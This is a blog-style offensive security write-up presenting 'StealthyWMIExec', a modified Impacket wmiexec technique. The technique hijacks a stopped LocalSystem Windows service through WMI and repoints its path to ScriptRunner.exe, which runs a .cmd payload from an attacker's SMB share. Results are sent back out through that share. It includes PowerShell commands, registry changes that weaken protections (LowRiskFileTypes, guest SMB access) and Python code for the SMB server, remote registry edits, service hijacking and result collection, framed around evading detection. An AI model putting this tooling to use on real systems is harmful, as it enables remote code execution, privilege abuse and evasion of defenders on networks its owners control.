Recently, I started reading wmiexec.py to learn how to write WMI with Impacket scripts. however, I saw how easy it was to detect WMIExec, because WMIexec uses the Win32_Process class and also uses the Create Method to spawn a process (for example powershell.exe). and the output of the result was \\\\127.0.0.1\\ADMIN$\__(time).
So I asked my self a question: how can I write an Impacket script that uses WMI and doesn’t use the Win32_Process that also doesn’t write to the disk?
And an idea came to mind. what if we look for a stopped service and changed its path name to a LolBin that can execute a command from a file hosted in an smbserver, and then start the service and upload the result to the same smb server without touching the disk.
So the first thing I did was I searched for a LolBin that runs any type of file that we can use it to execute a command from eg:.bat, .cmd, .ps1 and it can fetch a file from the smb server with some search in lolbas I found a match https://lolbas-project.github.io/lolbas/Binaries/Scriptrunner/
ScriptRunner.exe -appvscript \\servername\C$\Windows\Temp\file.cmd
And this LolBin can execute a cmd file from a smb server
Now we will make a cmd file and test the LolBin from powershell
The cmd file that will be executed is test.cmd :
@echo
echo hello World > C:\Users\ghaleb\Desktop\hello.txt
Now lets host it in our attacker machine with impacket-smbserver
┌──(kali㉿kali)-[~/smb]
└─$ cat shell.cmd
@echo off
echo Hello, World! > C:\users\ghaleb\Desktop\hello.txt"
┌──(kali㉿kali)-[~/smb]
└─$ impacket-smbserver -smb2support "share" '.'
Trigger the Scriptrunner.exe
PS C:\Windows\system32> ScriptRunner.exe -appvscript \\192.168.122.126\share\shell.cmd

And I got an error: “Error: You can’t access this shared folder because your organization’s security policies block unauthenticated guest access. These policies help protect your PC from unsafe or malicious devices on the network”
So i did further research online and I found out the problem is occurred because the account can’t access a smb share with Guest auth so we need to change value in registry and Allow Insecure Guest Auth by changing AllowInsecureGuestAuth value to DWORD 1 in this key: HKLM\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters
Now try to trigger the LolBin again:

and this popup stops the execution.
So I found a thread in superuser.com and it says we can white list file extensions and mark it as LowRiskFiles by creating a registry key HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Associations with valueName: LowRiskFileTypes and ValueData: .cmd
And by triggering the LolBin for the third time it works and it fetched the file and executed it!

So now lets search for a stopped service with WMI and change the PathName to the LolBin and start it
First thing is to search for a service with State = 'Stopped'

And lets select the first service and Change the path name:
$TargetService = Get-CimInstance -ClassName Win32_Service -Filter "State='Stopped'" -Property *| Select-Object -First 1
As we can see the starter is NT AUTHORITY\LocalService
and based on MSDN It says: “ It has minimum privileges on the local computer and presents anonymous credentials on the network.” and this means we can access the smb share without changing the first registry that I mentioned and I have changed the Value of AllowInsecureGuestAuth back to 0 and changed the pathName to
Invoke-CimMethod -InputObject $TargetService -MethodName Change -Arguments @{
PathName = "C:\Windows\System32\scriptrunner.exe -appvscript \\192.168.122.126\share\shell.cmd"
}
And then started the service:
Invoke-CimMethod -InputObject $TargetService -MethodName StartService

And we got an smb connection with a null session but there is no command executed in the windows machine so after some thinking I remembered that I whitelisted the .cmd extension in HKLM so what if we searched for a service that runs under NT AUTHORITY\SYSTEM and I found that if the StarterName is LocalSystem it means it has NT AUTHORITY\SYSTEM token localSystem Account
So lets change our conditions so that we search for a service that is in a stopped state and the starterName is LocalSystem
$TargetService = Get-CimInstance -ClassName Win32_Service -Filter "State='Stopped' AND StartName ='LocalSystem'" | Select-Object -First 1

And let’s change the path and start it:
Invoke-CimMethod -InputObject $TargetService -MethodName Change -Arguments @{
PathName = "C:\Windows\System32\scriptrunner.exe -appvscript \\192.168.122.126\share\shell.cmd"
}
Invoke-CimMethod -InputObject $TargetService -MethodName StartService

As we can see that it works on LocalSystem service!
So after that I wrote a script with its structure stolen from impacket’’s wmiexec.py and this script does the following :
/root/default Class: StdRegProv Method: GetStringValue)
/root/default Class: StdRegProv Method: CreateKey & SetStringValue)stopped and its Starter Name is LocalSystem (NameSpace: /root/cimv2 Class: Win32_Service)/root/cimv2 Class: Win32_Service Method: Change)
/root/cimv2 Class: Win32_Service Method: StartService)So let’s dig a bit deeper in the script:
This code will act as a function that starts an smb server that we’ll call in main:
def StartSmbServer():
global smb_server
smb_server = smbserver.SimpleSMBServer(listenAddress='0.0.0.0', listenPort=445)
smb_server.addShare("SHARE", "share/" , "", readOnly="no")
smb_server.setSMB2Support(True)
smb_server.setDropSSP(False)
smb_server.setSMBChallenge('')
smb_server.start()
below code we are connecting to DCOM and creating a WMI object by providing WMI CLSID & IID iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
and by using WMI object we will connect to root/default & root/cimv2 namespaces:
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, remoteHost=self.__remoteHost)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServicesDefault = iWbemLevel1Login.NTLMLogin('//./root/default', NULL, NULL)
iWbemServicesCimv2 = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
In the below code we are Getting Object from the StdRegProv class and assign it to the RemoteRegCheck class and then we are using a function from the RemoteRegCheck class that checks if the value LowRiskFileTypes contains .cmd if not, it will use method CreateKeys :
StdRegProv, _ = iWbemServicesDefault.GetObject('StdRegProv')
StdRegProv.createMethods('StdRegProv', StdRegProv.getMethods())
self.reg = RemoteRegCheck(StdRegProv)
if not self.reg.CheckPreValues(r"Software\Microsoft\Windows\CurrentVersion\Policies\Associations","LowRiskFileTypes",".cmd"):
self.reg.CreateKeys(r"Software\Microsoft\Windows\CurrentVersion\Policies\Associations","LowRiskFileTypes",".cmd")
As we can see in RemoteRegCheck that CheckPreValues uses GetStringValue WMI Method and CreateKeys uses the CreateKey WMI Method:
class RemoteRegCheck():
def __init__(self, StdRegProv):
self.__StdRegProv = StdRegProv
self.__hDefKey = 2147483650
def CheckPreValues(self, sSubKeyName, sValueName, needVal):
Out = self.__StdRegProv.GetStringValue(self.__hDefKey, sSubKeyName, sValueName)
value = Out.sValue
if value is None:
return False
if needVal in value:
return True
else:
return False
def CreateKeys(self,sSubKeyName,sValueName,sValue):
Out = self.__StdRegProv.CreateKey(self.__hDefKey, sSubKeyName)
if Out.ReturnValue == 0:
Out = self.__StdRegProv.SetStringValue(self.__hDefKey, sSubKeyName,sValueName,sValue)
return Out.ReturnValue
In the code below we are querying services that match State =Stopped AND StarterName=LocalSystem we took the first service and printed Service Name, State,PathName and StartName. also passed the object to the RemoteService class:
results = iWbemServicesCimv2.ExecQuery(
'SELECT * FROM Win32_Service WHERE State="Stopped" AND StartName="LocalSystem"'
)
service = results.Next(0xFFFFFFFF, 1)[0]
service.createMethods(service.getClassName(), service.getMethods())
print("[+] Suitable service found")
print("[+] Service Name : " + service.Name)
print("[+] State : " + service.State)
print("[+] PathName : " + service.PathName)
print("[+] StartName : " + service.StartName)
self.serv = RemoteService(service)
And the class is simple it simply has two methods that act as wrapper for its equivalent in WMI:
class RemoteService():
def __init__(self, service):
...
def ChangePathName(self, path):
self.__service.Change(
self.__displayName,
path,
16,
1,
self.__startMode,
0,
self.__startName,
'',
'',
[],
[]
)
def StartService(self):
self.__service.StartService()
In the below code it will change the path name to LolBIN and the PreparePayload will generate the payload that has the command the attacker wants. and it will output to the smb server share. if it is fully done it will upload a file called done.txt to the smb server
And then self.serv.StartService() will start the service to trigger the payload, and the while loop will check if there is a file called done.txt and if the size is NOT equal to 0 it will read the output file and it will delete it after reading it.
self.serv.ChangePathName(rf"C:\Windows\System32\scriptrunner.exe -appvscript \\{self.__smbIP}\share\shell.cmd")
PreparePayload(self.__command,self.__smbIP)
self.serv.StartService()
while not os.path.exists("share/output/done.txt") or os.path.getsize("share/output/done.txt") == 0:
continue
print("[+] Result recived!")
print(read_file("share/output/out.txt"))
self.serv.ChangePathName(service.PathName)
I have published the script on GitHub: StealthyWMIExec.py

With this idea, we can rewrite it using RPCs not just WMI. But the main concept is to avoid touching the disk at all when using an *exec.py tools like smbexec.py or wmiexec.py.
This can be achieved by starting an SMB server that acts as both an exfiltration channel for results and a host for payloads, while utilizing LOLBins for execution.